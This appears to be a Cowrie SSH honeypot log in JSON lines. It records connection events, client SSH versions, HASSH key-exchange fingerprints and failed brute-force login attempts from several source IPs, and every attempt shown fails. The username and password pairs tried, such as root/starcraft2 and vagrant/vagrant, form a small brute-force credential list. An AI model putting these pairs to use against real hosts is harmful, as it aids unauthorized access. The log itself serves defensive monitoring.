{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:27.589762Z","src_ip":"122.176.122.24","session":"525cfcee2704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starcraft2","message":"login attempt [root/starcraft2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:28.736953Z","src_ip":"122.176.122.24","session":"525cfcee2704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:30.019364Z","src_ip":"122.176.122.24","session":"525cfcee2704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.246","src_port":34882,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1ff9790aba","protocol":"ssh","message":"New connection: 196.92.7.246:34882 (159.203.135.109:22) [session: 1d1ff9790aba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:49.798345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:49.803575Z","src_ip":"196.92.7.246","session":"1d1ff9790aba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:49.930638Z","src_ip":"196.92.7.246","session":"1d1ff9790aba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:50.458461Z","src_ip":"196.92.7.246","session":"1d1ff9790aba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:51.585921Z","src_ip":"196.92.7.246","session":"1d1ff9790aba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":57516,"dst_ip":"159.203.135.109","dst_port":22,"session":"d480e341e6e5","protocol":"ssh","message":"New connection: 20.203.42.204:57516 (159.203.135.109:22) [session: d480e341e6e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:57.906181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:57.910740Z","src_ip":"20.203.42.204","session":"d480e341e6e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:58.089547Z","src_ip":"20.203.42.204","session":"d480e341e6e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t@","message":"login attempt [root/1q2w3e4r5t@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:58.820535Z","src_ip":"20.203.42.204","session":"d480e341e6e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:02:59.993179Z","src_ip":"20.203.42.204","session":"d480e341e6e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":37780,"dst_ip":"159.203.135.109","dst_port":22,"session":"60a34aa0815b","protocol":"ssh","message":"New connection: 31.59.89.180:37780 (159.203.135.109:22) [session: 60a34aa0815b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:23.017364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:23.023083Z","src_ip":"31.59.89.180","session":"60a34aa0815b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:23.129621Z","src_ip":"31.59.89.180","session":"60a34aa0815b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student2","password":"password","message":"login attempt [student2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:23.621524Z","src_ip":"31.59.89.180","session":"60a34aa0815b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:24.730852Z","src_ip":"31.59.89.180","session":"60a34aa0815b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":44984,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6725a6a02a","protocol":"ssh","message":"New connection: 103.107.60.45:44984 (159.203.135.109:22) [session: 2c6725a6a02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:40.983323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:40.989351Z","src_ip":"103.107.60.45","session":"2c6725a6a02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:41.206067Z","src_ip":"103.107.60.45","session":"2c6725a6a02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"12345678","message":"login attempt [ftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:42.102007Z","src_ip":"103.107.60.45","session":"2c6725a6a02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:43.322443Z","src_ip":"103.107.60.45","session":"2c6725a6a02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":44274,"dst_ip":"159.203.135.109","dst_port":22,"session":"377877910225","protocol":"ssh","message":"New connection: 27.79.1.70:44274 (159.203.135.109:22) [session: 377877910225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:49.435621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:49.440831Z","src_ip":"27.79.1.70","session":"377877910225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:49.695550Z","src_ip":"27.79.1.70","session":"377877910225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":49094,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ffb6825de40","protocol":"ssh","message":"New connection: 121.168.139.251:49094 (159.203.135.109:22) [session: 6ffb6825de40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:50.335389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:50.341379Z","src_ip":"121.168.139.251","session":"6ffb6825de40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:50.540441Z","src_ip":"121.168.139.251","session":"6ffb6825de40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:51.360647Z","src_ip":"121.168.139.251","session":"6ffb6825de40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@","message":"login attempt [root/@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:51.794936Z","src_ip":"27.79.1.70","session":"377877910225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:52.561179Z","src_ip":"121.168.139.251","session":"6ffb6825de40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:53.304583Z","src_ip":"27.79.1.70","session":"377877910225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35626,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c11be92ffce","protocol":"ssh","message":"New connection: 62.133.62.83:35626 (159.203.135.109:22) [session: 6c11be92ffce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:54.368919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:54.374870Z","src_ip":"62.133.62.83","session":"6c11be92ffce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:54.454288Z","src_ip":"62.133.62.83","session":"6c11be92ffce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20132013","message":"login attempt [root/20132013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:54.693433Z","src_ip":"62.133.62.83","session":"6c11be92ffce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:03:55.776930Z","src_ip":"62.133.62.83","session":"6c11be92ffce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":46998,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe2189704a8","protocol":"ssh","message":"New connection: 156.38.73.89:46998 (159.203.135.109:22) [session: 6fe2189704a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:00.586081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:04:00.591773Z","src_ip":"156.38.73.89","session":"6fe2189704a8","protocol":"ssh"}
